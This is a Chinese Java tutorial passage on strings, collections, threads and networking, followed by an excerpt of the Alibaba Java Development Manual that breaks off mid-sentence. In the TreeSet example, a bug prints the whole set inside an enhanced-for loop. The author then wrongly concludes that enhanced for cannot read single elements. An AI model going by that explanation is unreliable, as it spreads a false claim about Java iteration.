变量都是使用AbstractStringBuilder父类进行操作线程不安全(速度更快,适合单线程操作)创建StringBuffer(StringBuilder的创建和相应方法的使用和StringBuffer基本一致): StringBuffer 对象名= new StringBuffer ();//无参构造有参构造创建StringBuffer对象参照下图:注意一下:StringBuilder stringBuilder=new StringBuilder(10);表示创建一个容量为10(0~9)的StringBuilder对象(StringBuffer一样)StringBuffer的追加,插入,和删除:当进行插入的时候,插入的对应序号如果有值,将会移到插入内容的末尾(下图insert(8,"Java"))StringBuffer常用的方法:相关学习链接:菜鸟编程StringBufferString、StringBuffer与StringBuilder之间区别从源码角度彻底搞懂String、StringBuffer、StringBuilderCalendar类:JavaSE基础之-Calendar时间类菜鸟编程Java 日期时间12.异常机制Java异常架构与异常关键字[Java异常处理流程](https://blog.csdn.net/ThinkWon/article/details/101677638)13.集合(Set,List,Map)数组存放数据时需要先设置存放数据的容量大小,并且在删除数据的时候效率较低,为了更好的对数据进行处理,根据数据结构的不同,线程的安全性等多方面考虑,Java集合Api提供了丰富的集合操作,让我们对数据进行更优的处理。集合体系:Java 集合框架主要包括两种类型的容器,一种是集合(Collection),存储一个元素集合,另一种是图(Map),存储键/值对映射。Collection 接口又有 3 种子类型,List、Set 和 Queue,再下面是一些抽象类,最后是具体实现类,常用的有 ArrayList、LinkedList、HashSet、LinkedHashSet、HashMap、LinkedHashMap 等等。Java 集合框架提供了一套性能优良,使用方便的接口和类,java集合框架位于java.util包中, 所以当使用集合框架的时候需要进行导包。Set和List的区别Set 接口实例存储的是无序的,不重复的数据。List 接口实例存储的是有序的,可以重复的元素。Set检索效率低下,删除和插入效率高,插入和删除不会引起元素位置改变 <实现类有HashSet,TreeSet>。List和数组类似,可以动态增长,根据实际存储的数据的长度自动增长List的长度。查找元素效率高,插入删除效率低,因为会引起其他元素位置改变<实现类有ArrayList,LinkedList,Vector> 。ListList的主要实现:ArrayList, LinkedList, Vector。 ArrayList LinkedList Vector ArrayListLinkedListVector底层实现数组双向链表数组同步性及效率不同步,非线程安全,效率高,支持随机访问不同步,非线程安全,效率高同步,线程安全,效率低特点查询快,增删慢查询慢,增删快查询快,增删慢默认容量10/10扩容机制int newCapacity = oldCapacity + (oldCapacity >> 1);//1.5 倍/2 倍List常用常用方法:实例练习: public static void main(String[] args) {
//创建List对象
List<String> list=new ArrayList<String>();//多态
//集合初始化
for (int i = 0; i < 10; i++) {
list.add("数据:"+i);//数据0,数据1.....数据9
}
System.out.println("遍历集合:");
//遍历结合
for (String str : list) {
System.out.println(str);
}
System.out.println("获取序号为0的值:");
//获取集合指定位置的值
System.out.println(list.get(0));
System.out.println("获取集合末尾的值:");
System.out.println(list.get(list.size()-1));//list.size()获取集合的长度
System.out.println("序号为0的值被移除之后,序号0的值变为了:");
//删除序号为0的值
list.remove(0);
//获取序号0的值
System.out.println(list.get(0));
}运行效果:将上面的ArrayList换成LinkedList运行的结果一致:ArrayList和LinkedList操作方式一致(因为它们都是List接口下的实现类,常用的方法名都是一样的,但是具体的实现方法不一样,这就是多态的妙处)ArrayList和LinkedList虽然操作方式一致但是底层的数据结构是不一致的,一个是数组一个是链表(在使用的时候要根据二者的优缺点进行选择)运行效果(结果是一致的):SetSet的主要实现类:HashSet, TreeSet。HashSet、TreeSet、LinkedHashSet的区别: HashSetTreeSetLinkedHashSet底层实现HashMap红黑树LinkedHashMap重复性不允许重复不允许重复不允许重复有无序 无序有序,支持两种排序方式,自然排序和定制排序,其中自然排序为默认的排序方式。有序,以元素插入的顺序来维护集合的链接表时间复杂度add(),remove(),contains()方法的时间复杂度是O(1)add(),remove(),contains()方法的时间复杂度是O(logn)LinkedHashSet在迭代访问Set中的全部元素时,性能比HashSet好,但是插入时性能稍微逊色于HashSet,时间复杂度是 O(1)。同步性不同步,线程不安全不同步,线程不安全不同步,线程不安全null值允许null值不支持null值,会抛出 java.lang.NullPointerException 异常。因为TreeSet应用 compareTo() 方法于各个元素来比较他们,当比较null值时会抛出 NullPointerException异常。允许null值比较equals()compareTo()equals()Set常用方法:实例练习:运行效果:0并没有被加入进去,因为Set的数据不能重复Set集合存放数据的顺序是乱序关于HashSet如何检测重复:TreeSet:实例练习:public static void main(String[] args) {
//创建Set集合
TreeSet<String> set=new TreeSet();
set.add("数据:0");
set.add("数据:0");
set.add("数据:1");
//初始化数据
for (int i = 2; i < 10; i++) {
set.add("数据:"+i);
}
System.out.println("使用Iterator集合遍历:");
//通过Iterator遍历集合
Iterator<String> iterator=set.iterator();
while (iterator.hasNext()) {
System.out.println(iterator.next());
}
System.out.println("使用增强for遍历:");
for (String string : set) {
System.out.println(set);
}
//获取集合第一个元素的值
System.out.println("获取集合第一个元素的值:"+set.first());
//获取集合最后一个元素的值
System.out.println("获取集合最后一个元素的值"+set.last());
//删除集合第一个元素的值
System.out.println("删除集合第一个元素的值");
set.pollFirst();
//删除集合最后一个元素的值
System.out.println("删除集合最后一个元素的值");
set.pollLast();
//通过Iterator遍历集合
iterator=set.iterator();
while (iterator.hasNext()) {
System.out.println(iterator.next());
}
}运行效果:使用增强for运行遍历和iterator接口遍历完全不同,增强for只能获取集合中一组的值,不能获取单个值,并且遍历的次数为集合的长度set.first() //获取集合第一个元素的值set.last() //获取集合最后一个元素的值set.pollFirst() //删除集合第一个元素的值set.pollLast()删除集合最后一个元素的值MapMap 是一种把键对象和值对象映射的集合,它的每一个元素都包含一对键对象和值对象。 Map没有继承于Collection接口,从Map集合中检索元素时,只要给出键对象,就会返回对应的值对象。Map 的常用实现类:HashMap、TreeMap、HashTable、LinkedHashMap、ConcurrentHashMapHashMap、HashTable、TreeMap的区别: HashMapHashTableTreeMap底层实现哈希表(数组+链表)哈希表(数组+链表)红黑树同步性线程不同步同步线程不同步null值允许 key 和 Vale 是 null,但是只允许一个 key 为 null,且这个元素存放在哈希表 0 角标位置不允许key、value 是 nullvalue允许为null。当未实现 Comparator 接口时,key 不可以为null当实现 Comparator 接口时,若未对 null 情况进行判断,则可能抛 NullPointerException 异常。如果针对null情况实现了,可以存入,但是却不能正常使用get()访问,只能通过遍历去访问hash使用hash(Object key)扰动函数对 key 的 hashCode 进行扰动后作为 hash 值直接使用 key 的 hashCode() 返回值作为 hash 值容量容量为 2^4 且容量一定是 2^n默认容量是11,不一定是 2^n扩容两倍,且哈希桶的下标使用 &运算代替了取模2倍+1,取哈希桶下标是直接用模运算Map常用方法:实例练习:运行效果:Map集合不能直接通过增强for获取,要通过对应的key获取对应的值,或者通过Entry的方式获取。Java集合框架总结14.IO流JavaSE基础篇之-Java 流(Stream)、文件(File)和IO15.多线程最新一篇Java基础多线程博文,对这一部分进行了详细讲解!下面的内容适合快速入门:线程的生命周期:创建一个线程:通过实现 Runnable 接口;通过继承 Thread 类本身;通过 Callable 和 Future 创建线程。【不写实例】通过实现 Runnable 接口public class ThreadTest implements Runnable{
private String name;
public ThreadTest(String name){
this.name=name;
}
@Override
public void run() {
// TODO Auto-generated method stub
for (int i = 0; i < 100; i++) {
try {
Thread.sleep(10);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println(this.name+"打印:"+i);
}
}
public static void main(String[] args) {
Thread thread1=new Thread(new ThreadTest("线程1"));
thread1.start();
Thread thread2=new Thread(new ThreadTest("线程2"));
thread2.start();
}
}运行效果:通过继承 Thread 类本身运行效果:创建线程的三种方式的对比采用实现 Runnable、Callable 接口的方式创建多线程时,线程类只是实现了 Runnable 接口或 Callable接口,还可以继承其他类。使用继承 Thread 类的方式创建多线程时,编写简单,如果需要访问当前线程,则无需使用 Thread.currentThread()方法,直接使用 this 即可获得当前线程。从前面我们创建的线程可以看出运行并不是同步的:synchronized的使用(同步互斥锁的使用):运行效果:16.网络编程(TCP【重点】;UDP)什么是TCP百度百科:传输控制协议(TCP,Transmission Control Protocol)是一种面向连接的、可靠的、基于字节流的传输层通信协议,由IETF的RFC 793 [1] 定义。TCP的三次握手保证了TCP的连接可靠性什么是UDPInternet 协议集支持一个无连接的传输协议,该协议称为用户数据包协议(UDP,User Datagram Protocol)。UDP 为应用程序提供了一种无需建立连接就可以发送封装的 IP 数据包的方法。RFC 768 [1] 描述了 UDP。TCP编程实例:JAVA 仿QQ聊天程序(附源码)Java TCP编程实例相关学习链接:UDP与TCP协议
阿里巴巴 JAVA 开发手册
阿里巴巴 JAVA 开发手册
1.0.0
阿里巴巴集团技术部
2016.12.7
首次向 Java 业界公开
一、 编程规约(一) 命名规约1. 【强制】所有编程相关命名均不能以下划线或美元符号开始,也不能以下划线或美元符号结束。反例: _name / __name / $Object / name_ / name$ / Object$2. 【强制】所有编程相关的命名严禁使用拼音与英文混合的方式,更不允许直接使用中文的方式。说明: 正确的英文拼写和语法可以让阅读者易于理解,避免歧义。注意, 即使纯拼音命名方式也要避免采用。反例: DaZhePromotion [打折] / getPingfenByName() [评分] / int 变量 = 3;正例: ali / alibaba / taobao / cainiao / aliyun / youku / hangzhou 等国际通用的名称,可视为英文。3. 【强制】类名使用 UpperCamelCase 风格,必须遵从驼峰形式,但以下情形例外:(领域模型的相关命名) DO / DTO / VO / DAO 等。正例: MarcoPolo / UserDO / XmlService / TcpUdpDeal / TaPromotion反例: macroPolo / UserDo / XMLService / TCPUDPDeal / TAPromotion4. 【强制】方法名、参数名、成员变量、局部变量都统一使用 lowerCamelCase 风格,必须遵从驼峰形式。正例: localValue / getHttpMessage() / inputUserId5. 【 强制】常量命名全部大写,单词间用下划线隔开,力求语义表达完整清楚,不要嫌名字长。正例: MAX_STOCK_COUNT反例: MAX_COUNT6. 【强制】抽象类命名使用 Abstract 或 Base 开头;异常类命名使用 Exception 结尾;测试类命名以它要测试的类的名称开始,以 Test 结尾。7. 【强制】中括号是数组类型的一部分,数组定义如下: String[] args;反例: 请勿使用 String args[]的方式来定义8. 【强制】 POJO 类中的任何布尔类型的变量,都不要加 is,否则部分框架解析会引起序列化错误。反例: 定义为基本数据类型 boolean isSuccess;的属性,它的方法也是 isSuccess(), RPC框架在反向解析的时候, “ 以为” 对应的属性名称是 success,导致属性获取不到,进而抛出异常。9. 【强制】包名统一使用小写,点分隔符之间有且仅有一个自然语义的英语单词。包名统一使用单数形式,但是类名如果有复数含义,类名可以使用复数形式。正例: 应用工具类包名为 com.alibaba.mpp.util、类名为 MessageUtils (此规则参考 spring的框架结构)10.【强制】杜绝完全不规范的缩写, 避免望文不知义。反例: <某业务代码>AbstractClass“ 缩写” 命名成 AbsClass; condition“ 缩写” 命名成condi,此类随意缩写严重降低了代码的可阅读性。11.【推荐】如果使用到了设计模式,建议在类名中体现出具体模式。说明: 将设计模式体现在名字中,有利于阅读者快速理解架构设计思想。正例: public class OrderFactory;public class LoginProxy;public class ResourceObserver;12.【推荐】接口类中的方法和属性不要加任何修饰符号( public 也不要加),保持代码的简洁性,并加上有效的 javadoc 注释。尽量不要在接口里定义变量,如果一定要定义变量,肯定是与接口方法相关,并且是整个应用的基础常量。正例: 接口方法签名: void f();接口基础常量表示: String COMPANY = "alibaba";反例: 接口方法定义: public abstract void f();说明: JDK8 中接口允许有默认实现,那么这个 default 方法,是对所有实现类都有价值的默认实现。13.接口和实现类的命名有两套规则:1)【强制】对于 Service 和 DAO 类,基于 SOA 的理念,暴露出来的服务一定是接口,内部的实现类用 Impl 的后缀与接口区别。正例: CacheServiceImpl 实现 CacheService 接口。2)【推荐】 如果是形容能力的接口名称,取对应的形容词做接口名(通常是–able 的形式)。正例: AbstractTranslator 实现 Translatable。14.【参考】枚举类名建议带上 Enum 后缀,枚举成员名称需要全大写,单词间用下划线隔开。说明: 枚举其实就是特殊的常量类,且构造方法被默认强制是私有。正例: 枚举名字: DealStatusEnum;成员名称: SUCCESS / UNKOWN_REASON。15.【参考】各层命名规约:A) Service/DAO 层方法命名规约1) 获取单个对象的方法用 get 做前缀。2) 获取多个对象的方法用 list 做前缀。3) 获取统计值的方法用 count 做前缀。4) 插入的方法用 save(推荐)或 insert 做前缀。5) 删除的方法用 remove(推荐)或 delete 做前缀。6) 修改的方法用 update 做前缀。B) 领域模型命名规约1) 数据对象: xxxDO, xxx 即为数据表名。2) 数据传输对象: xxxDTO, xxx 为业务领域相关的名称。3) 展示对象: xxxVO, xxx 一般为网页名称。4) POJO 是 DO/DTO/BO/VO 的统称,禁止命名成 xxxPOJO。(二) 常量定义1. 【强制】不允许出现任何魔法值(即未经定义的常量)直接出现在代码中。反例: String key="Id#taobao_"+tradeId;cache.put(key, value);2. 【强制】 long 或者 Long 初始赋值时,必须使用大写的 L,不能是小写的 l,小写容易跟数字 1混淆,造成误解。说明: Long a = 2l; 写的是数字的 21,还是 Long 型的 2?3. 【推荐】不要使用一个常量类维护所有常量,应该按常量功能进行归类,分开维护。如:缓存相关的常量放在类: CacheConsts 下;系统配置相关的常量放在类: ConfigConsts 下。说明: 大而全的常量类,非得 ctrl+f 才定位到修改的常量,不利于理解,也不利于维护。4. 【推荐】常量的复用层次有五层:跨应用共享常量、应用内共享常量、子工程内共享常量、包内共享常量、类内共享常量。1) 跨应用共享常量:放置在二方库中,通常是 client.jar 中的 const 目录下。2) 应用内共享常量:放置在一方库的 modules 中的 const 目录下。反例: 易懂变量也要统一定义成应用内共享常量,两位攻城师在两个类中分别定义了表示“ 是” 的变量:类 A 中: public static final String YES = "yes";类 B 中: public static final String YES = "y";A.YES.equals(B.YES),预期是 true,但实际返回为 false,导致产生线上问题。3) 子工程内部共享常量:即在当前子工程的 const 目录下。4) 包内共享常量:即在当前包下单独的 const 目录下。5) 类内共享常量:直接在类内部 private static final 定义。5. 【推荐】如果变量值仅在一个范围内变化用 Enum 类。如果还带有名称之外的延伸属性,必须使用 Enum 类,下面正例中的数字就是延伸信息,表示星期几。正例: public Enum{ MONDAY(1), TUESDAY(2), WEDNESDAY(3), THURSDAY(4), FRIDAY(5),SATURDAY(6), SUNDAY(7);}(三) 格式规约1. 【强制】大括号的使用约定。如果是大括号内为空,则简洁地写成{}即可,不需要换行;如果是非空代码块则:1) 左大括号前不换行。2) 左大括号后换行。3) 右大括号前换行。4) 右大括号后还有 else 等代码则不换行;表示终止右大括号后必须换行。2. 【强制】 左括号和后一个字符之间不出现空格;同样,右括号和前一个字符之间也不出现空格。详见第 5 条下方正例提示。3. 【强制】 if/for/while/switch/do 等保留字与左右括号之间都必须加空格。4. 【强制】任何运算符左右必须加一个空格。说明: 运算符包括赋值运算符=、逻辑运算符&&、加减乘除符号、三目运行符等。5. 【强制】代码块缩进 4 个空格,如果使用 tab 缩进,请设置成 1 个 tab 为 4 个空格。正例: (涉及 1-5 点)public static void main(String args[]) {// 缩进 4 个空格String say = "hello";// 运算符的左右必须有一个空格int flag = 0;// 关键词 if 与括号之间必须有一个空格,括号内 f 与左括号, 1 与右括号不需要空格if (flag == 0) {System.out.println(say);}// 左大括号前加空格且不换行;左大括号后换行if (flag == 1) {System.out.println("world");// 右大括号前换行,右大括号后有 else,不用换行} else {System.out.println("ok");// 右大括号做为结束,必须换行}}6. 【强制】单行字符数限制不超过 120 个,超出需要换行,换行时,遵循如下原则:1) 换行时相对上一行缩进 4 个空格。2) 运算符与下文一起换行。3) 方法调用的点符号与下文一起换行。4) 在多个参数超长,逗号后进行换行。5) 在括号前不要换行,见反例。正例:StringBuffer sb = new StringBuffer();//超过 120 个字符的情况下,换行缩进 4 个空格,并且方法前的点符号一起换行sb.append("zi").append("xin")….append("huang");反例:StringBuffer sb = new StringBuffer();//超过 120 个字符的情况下,不要在括号前换行sb.append("zi").append("xin")…append("huang");//参数很多的方法调用也超过 120 个字符,逗号后才是换行处method(args1, args2, args3, ..., argsX);7. 【强制】方法参数在定义和传入时,多个参数逗号后边必须加空格。正例: 下例中实参的"a",后边必须要有一个空格。method("a", "b", "c");8. 【推荐】没有必要增加若干空格来使某一行的字符与上一行的相应字符对齐。正例:int a = 3;long b = 4L;float c = 5F;StringBuffer sb = new StringBuffer();说明: 增加 sb 这个变量,如果需要对齐,则给 a、 b、 c 都要增加几个空格,在变量比较多的情况下,是一种累赘的事情。9. 【强制】 IDE 的 text file encoding 设置为 UTF-8; IDE 中文件的换行符使用 Unix 格式,不要使用 windows 格式。10.【推荐】方法体内的执行语句组、变量的定义语句组、不同的业务逻辑之间或者不同的语义之间插入一个空行。相同业务逻辑和语义之间不需要插入空行。说明: 没有必要插入多行空格进行隔开。(四) OOP 规约1. 【强制】避免通过一个类的对象引用访问此类的静态变量或静态方法,无谓增加编译器解析成本,直接用类名来访问即可。2. 【强制】所有的覆写方法,必须加@Override 注解。反例: getObject()与 get0bject()的问题。一个是字母的 O,一个是数字的 0,加@Override可以准确判断是否覆盖成功。另外,如果在抽象类中对方法签名进行修改,其实现类会马上编译报错。3. 【强制】相同参数类型,相同业务含义,才可以使用 Java 的可变参数,避免使用 Object。说明: 可变参数必须放置在参数列表的最后。(提倡同学们尽量不用可变参数编程)正例: public User getUsers(String type, Integer... ids);4. 【强制】对外暴露的接口签名, 原则上不允许修改方法签名,避免对接口调用方产生影响。接口过时必须加@Deprecated 注解,并清晰地说明采用的新接口或者新服务是什么。5. 【强制】不能使用过时的类或方法。说明: java.net.URLDecoder 中的方法 decode(String encodeStr) 这个方法已经过时,应该使用双参数 decode(String source, String encode)。接口提供方既然明确是过时接口,那么有义务同时提供新的接口;作为调用方来说,有义务去考证过时方法的新实现是什么。6. 【强制】Object 的 equals 方法容易抛空指针异常,应使用常量或确定有值的对象来调用 equals。正例: "test".equals(object);反例: object.equals("test");说明: 推荐使用 java.util.Objects#equals ( JDK7 引入的工具类)7. 【强制】所有的相同类型的包装类对象之间值的比较,全部使用 equals 方法比较。说明: 对于 Integer var=?在-128 至 127 之间的赋值, Integer 对象是在 IntegerCache.cache产生,会复用已有对象,这个区间内的 Integer 值可以直接使用==进行判断,但是这个区间之外的所有数据,都会在堆上产生,并不会复用已有对象,这是一个大坑,推荐使用 equals 方法进行判断。8. 【强制】关于基本数据类型与包装数据类型的使用标准如下:1) 所有的 POJO 类属性必须使用包装数据类型。2) RPC 方法的返回值和参数必须使用包装数据类型。3) 所有的局部变量推荐使用基本数据类型。说明: POJO 类属性没有初值是提醒使用者在需要使用时,必须自己显式地进行赋值,任何NPE 问题,或者入库检查,都由使用者来保证。正例: 数据库的查询结果可能是 null,因为自动拆箱,用基本数据类型接收有 NPE 风险。反例: 某业务的交易报表上显示成交总额涨跌情况,即正负 x%, x 为基本数据类型,调用的RPC 服务,调用不成功时,返回的是默认值,页面显示: 0%,这是不合理的,应该显示成中划线-。所以包装数据类型的 null 值,能够表示额外的信息,如:远程调用失败,异常退出。9. 【强制】定义 DO/DTO/VO 等 POJO 类时,不要设定任何属性默认值。反例: 某业务的 DO 的 gmtCreate 默认值为 new Date();但是这个属性在数据提取时并没有置入具体值,在更新其它字段时又附带更新了此字段,导致创建时间被修改成当前时间。10.【强制】序列化类新增属性时,请不要修改 serialVersionUID 字段,避免反序列失败;如果完全不兼容升级,避免反序列化混乱,那么请修改 serialVersionUID 值。说明: 注意 serialVersionUID 不一致会抛出序列化运行时异常。11.【强制】构造方法里面禁止加入任何业务逻辑,如果有初始化逻辑,请放在 init 方法中。12.【强制】 POJO 类必须写 toString 方法。使用工具类 source> generate toString 时,如果继承了另一个 POJO 类,注意在前面加一下 super.toString。说明: 在方法执行抛出异常时,可以直接调用 POJO 的 toString()方法打印其属性值,便于排查问题。13.【推荐】使用索引访问用 String 的 split 方法得到的数组时,需做最后一个分隔符后有无内容的检查,否则会有抛 IndexOutOfBoundsException 的风险。说明:String str = "a,b,c,,"; String[] ary = str.split(",");//预期大于 3,结果是 3System.out.println(ary.length);14.【推荐】当一个类有多个构造方法,或者多个同名方法,这些方法应该按顺序放置在一起,便于阅读。15.【推荐】 类内方法定义顺序依次是:公有方法或保护方法 > 私有方法 > getter/setter 方法。说明: 公有方法是类的调用者和维护者最关心的方法,首屏展示最好;保护方法虽然只是子类关心,也可能是“ 模板设计模式” 下的核心方法;而私有方法外部一般不需要特别关心,是一个黑盒实现;因为方法信息价值较低,所有 Service 和 DAO 的 getter/setter 方法放在类体最后。16.【推荐】 setter 方法中,参数名称与类成员变量名称一致, this.成员名=参数名。在getter/setter 方法中,尽量不要增加业务逻辑,增加排查问题难度。反例:public Integer getData(){if(true) {return data + 100;} else {return data - 100;}}17.【推荐】循环体内,字符串的联接方式,使用 StringBuilder 的 append 方法进行扩展。反例:String str = "start";for(int i=0; i<100; i++){str = str + "hello";}说明: 反编译出的字节码文件显示每次循环都会 new 出一个 StringBuilder 对象,然后进行append 操作,最后通过 toString 方法返回 String 对象,造成内存资源浪费。18.【推荐】 final 可提高程序响应效率,声明成 final 的情况:1) 不需要重新赋值的变量,包括类属性、局部变量。2) 对象参数前加 final,表示不允许修改引用的指向。3) 类方法确定不允许被重写。19.【推荐】慎用 Object 的 clone 方法来拷贝对象。说明: 对象的 clone 方法默认是浅拷贝,若想实现深拷贝需要重写 clone 方法实现属性对象的拷贝。20.【推荐】类成员与方法访问控制从严:1) 如果不允许外部直接通过 new 来创建对象,那么构造方法必须是 private。2) 工具类不允许有 public 或 default 构造方法。3) 类非 static 成员变量并且与子类共享,必须是 protected。4) 类非 static 成员变量并且仅在本类使用,必须是 private。5) 类 static 成员变量如果仅在本类使用,必须是 private。6) 若是 static 成员变量,必须考虑是否为 final。7) 类成员方法只供类内部调用,必须是 private。8) 类成员方法只对继承类公开,那么限制为 protected。说明: 任何类、方法、参数、变量,严控访问范围。过宽泛的访问范围,不利于模块解耦。思考:如果是一个 private 的方法,想删除就删除,可是一个 public 的 Service 方法,或者一个 public 的成员变量,删除一下,不得手心冒点汗吗? 变量像自己的小孩,尽量在自己的视线内,变量作用域太大,如果无限制的到处跑,那么你会担心的。(五) 集合处理1. 【强制】 Map/Set 的 key 为自定义对象时,必须重写 hashCode 和 equals。正例: String 重写了 hashCode 和 equals 方法,所以我们可以非常愉快地使用 String 对象作为 key 来使用。2. 【强制】 ArrayList 的 subList 结果不可强转成 ArrayList,否则会抛出 ClassCastException异常: java.util.RandomAccessSubList cannot be cast to java.util.ArrayList ;说明: subList 返回的是 ArrayList 的内部类 SubList,并不是 ArrayList ,而是 ArrayList的一个视图,对于 SubList 子列表的所有操作最终会反映到原列表上。3. 【强制】在 subList 场景中, 高度注意对原集合元素个数的修改,会导致子列表的遍历、增加、删除均产生 ConcurrentModificationException 异常。4. 【强制】使用集合转数组的方法,必须使用集合的 toArray(T[] array),传入的是类型完全一样的数组,大小就是 list.size()。反例: 直接使用 toArray 无参方法存在问题,此方法返回值只能是 Object[]类,若强转其它类型数组将出现 ClassCastException 错误。正例:List<String> list = new ArrayList<String>(2);list.add("guan");list.add("bao");String[] array = new String[list.size()];array = list.toArray(array);说明: 使用 toArray 带参方法,入参分配的数组空间不够大时, toArray 方法内部将重新分配内存空间,并返回新数组地址;如果数组元素大于实际所需,下标为[ list.size() ]的数组元素将被置为 null,其它数组元素保持原值,因此最好将方法入参数组大小定义与集合元素个数一致。5. 【强制】使用工具类 Arrays.asList()把数组转换成集合时,不能使用其修改集合相关的方法,它的 add/remove/clear 方法会抛出 UnsupportedOperationException 异常。说明: asList 的返回对象是一个 Arrays 内部类,并没有实现集合的修改方法。 Arrays.asList体现的是适配器模式,只是转换接口,后台的数据仍是数组。String[] str = new String[] { "a", "b" };List list = Arrays.asList(str);第一种情况: list.add("c"); 运行时异常。第二种情况: str[0]= "gujin"; 那么 list.get(0)也会随之修改。6. 【强制】泛型通配符<? extends T>来接收返回的数据,此写法的泛型集合不能使用 add 方法。说明: 苹果装箱后返回一个<? extends Fruits>对象,此对象就不能往里加任何水果,包括苹果。7. 【强制】不要在 foreach 循环里进行元素的 remove/add 操作。 remove 元素请使用 Iterator方式,如果并发操作,需要对 Iterator 对象加锁。反例:List<String> a = new ArrayList<String>();a.add("1");a.add("2");for (String temp : a) {if("1".equals(temp)){a.remove(temp);}}说明: 这个例子的执行结果会出乎大家的意料,那么试一下把“1” 换成“2” ,会是同样的结果吗?正例:Iterator<String> it = a.iterator();while(it.hasNext()){String temp = it.next();if(删除元素的条件){it.remove();}}
8. 【强制】在 JDK7 版本以上, Comparator 要满足自反性,传递性,对称性,不然 Arrays.sort,Collections.sort 会报 IllegalArgumentException 异常。说明:1) 自反性: x, y 的比较结果和 y, x 的比较结果相反。2) 传递性: x>y,y>z,则 x>z。3) 对称性: x=y,则 x,z 比较结果和 y, z 比较结果相同。反例: 下例中没有处理相等的情况,实际使用中可能会出现异常:new Comparator<Student>() {@Overridepublic int compare(Student o1, Student o2) {return o1.getId() > o2.getId() ? 1 : -1;}}9. 【推荐】集合初始化时,尽量指定集合初始值大小。说明: ArrayList 尽量使用 ArrayList(int initialCapacity) 初始化。10.【推荐】使用 entrySet 遍历 Map 类集合 KV,而不是 keySet 方式进行遍历。说明: keySet 其实是遍历了 2 次,一次是转为 Iterator 对象,另一次是从 hashMap 中取出 key所对应的 value。而 entrySet 只是遍历了一次就把 key 和 value 都放到了 entry 中,效率更高。如果是 JDK8,使用 Map.foreach 方法。正例: values()返回的是 V 值集合,是一个 list 集合对象; keySet()返回的是 K 值集合,是一个 Set 集合对象; entrySet()返回的是 K-V 值组合集合。11.【推荐】高度注意 Map 类集合 K/V 能不能存储 null 值的情况,如下表格:
Hashtable
不允许为 null
不允许为 null
Dictionary
线程安全
ConcurrentHashMap
不允许为 null
不允许为 null
AbstractMap
线程局部安全
TreeMap
不允许为 null
允许为 null
AbstractMap
线程不安全
HashMap
允许为 null
允许为 null
AbstractMap
线程不安全
反例: 很多同学认为 ConcurrentHashMap 是可以置入 null 值。 在批量翻译场景中,子线程分发时,出现置入 null 值的情况,但主线程没有捕获到此异常,导致排查困难。12.【参考】合理利用好集合的有序性(sort)和稳定性(order),避免集合的无序性(unsort)和不稳定性(unorder)带来的负面影响。
说明: 稳定性指集合每次遍历的元素次序是一定的。有序性是指遍历的结果是按某种比较规则依次排列的。如: ArrayList 是 order/unsort; HashMap 是 unorder/unsort; TreeSet 是order/sort。13.【参考】利用 Set 元素唯一的特性,可以快速对另一个集合进行去重操作,避免使用 List 的contains 方法进行遍历去重操作。(六) 并发处理1. 【强制】获取单例对象要线程安全。在单例对象里面做操作也要保证线程安全。说明: 资源驱动类、工具类、单例工厂类都需要注意。2. 【强制】线程资源必须通过线程池提供,不允许在应用中自行显式创建线程。说明: 使用线程池的好处是减少在创建和销毁线程上所花的时间以及系统资源的开销,解决资源不足的问题。如果不使用线程池,有可能造成系统创建大量同类线程而导致消耗完内存或者“ 过度切换” 的问题。3. 【强制】 SimpleDateFormat 是线程不安全的类,一般不要定义为 static 变量,如果定义为static,必须加锁,或者使用 DateUtils 工具类。正例: 注意线程安全,使用 DateUtils。亦推荐如下处理:private static final ThreadLocal<DateFormat> df = new ThreadLocal<DateFormat>() {@Overrideprotected DateFormat initialValue() {return new SimpleDateFormat("yyyy-MM-dd");}};说明: 如果是 JDK8 的应用,可以使用 instant 代替 Date, Localdatetime 代替 Calendar,Datetimeformatter 代替 Simpledateformatter,官方给出的解释: simple beautiful strongimmutable thread-safe。4. 【强制】高并发时,同步调用应该去考量锁的性能损耗。能用无锁数据结构,就不要用锁;能锁区块,就不要锁整个方法体;能用对象锁,就不要用类锁。5. 【强制】对多个资源、数据库表、对象同时加锁时,需要保持一致的加锁顺序,否则可能会造成死锁。说明: 线程一需要对表 A、 B、 C 依次全部加锁后才可以进行更新操作,那么线程二的加锁顺序也必须是 A、 B、 C,否则可能出现死锁。6. 【强制】并发修改同一记录时,避免更新丢失,要么在应用层加锁,要么在缓存加锁,要么在数据库层使用乐观锁,使用 version 作为更新依据。
说明: 如果每次访问冲突概率小于 20%,推荐使用乐观锁,否则使用悲观锁。乐观锁的重试次数不得小于 3 次。7. 【强制】多线程并行处理定时任务时, Timer 运行多个 TimeTask 时,只要其中之一没有捕获抛出的异常,其它任务便会自动终止运行,使用 ScheduledExecutorService 则没有这个问题。8. 【强制】线程池不允许使用 Executors 去创建,而是通过 ThreadPoolExecutor 的方式,这样的处理方式让写的同学更加明确线程池的运行规则,规避资源耗尽的风险。说明: Executors 各个方法的弊端:1) newFixedThreadPool 和 newSingleThreadExecutor:主要问题是堆积的请求处理队列可能会耗费非常大的内存,甚至 OOM。2) newCachedThreadPool 和 newScheduledThreadPool:主要问题是线程数最大数是 Integer.MAX_VALUE,可能会创建数量非常多的线程,甚至 OOM。9. 【强制】创建线程或线程池时请指定有意义的线程名称,方便出错时回溯。正例:public class TimerTaskThread extends Thread {public TimerTaskThread(){super.setName("TimerTaskThread"); …}10.【推荐】使用 CountDownLatch 进行异步转同步操作,每个线程退出前必须调用 countDown 方法,线程执行代码注意 catch 异常,确保 countDown 方法可以执行,避免主线程无法执行至countDown 方法,直到超时才返回结果。说明: 注意,子线程抛出异常堆栈,不能在主线程 try-catch 到。11.【推荐】避免 Random 实例被多线程使用,虽然共享该实例是线程安全的,但会因竞争同一 seed导致的性能下降。说明: Random 实例包括 java.util.Random 的实例或者 Math.random()实例。正例: 在 JDK7 之后,可以直接使用 API ThreadLocalRandom,在 JDK7 之前,可以做到每个线程一个实例。12.【推荐】通过双重检查锁( double-checked locking)(在并发场景)实现延迟初始化的优化问题隐患(可参考 The "Double-Checked Locking is Broken" Declaration),推荐问题解决方案中较为简单一种(适用于 jdk5 及以上版本),将目标属性声明为 volatile 型(比如反例中修改 helper 的属性声明为 private volatile Helper helper = null;);反例:class Foo {private Helper helper = null;public Helper getHelper() {if (helper == null) synchronized(this) {if (helper == null)helper = new Helper();}return helper; }// other functions and members...}13.【参考】 volatile 解决多线程内存不可见问题。对于一写多读,是可以解决变量同步问题,但是如果多写,同样无法解决线程安全问题。如果想取回 count++数据,使用如下类实现:AtomicInteger count = new AtomicInteger(); count.addAndGet(1); count++操作如果是JDK8,推荐使用 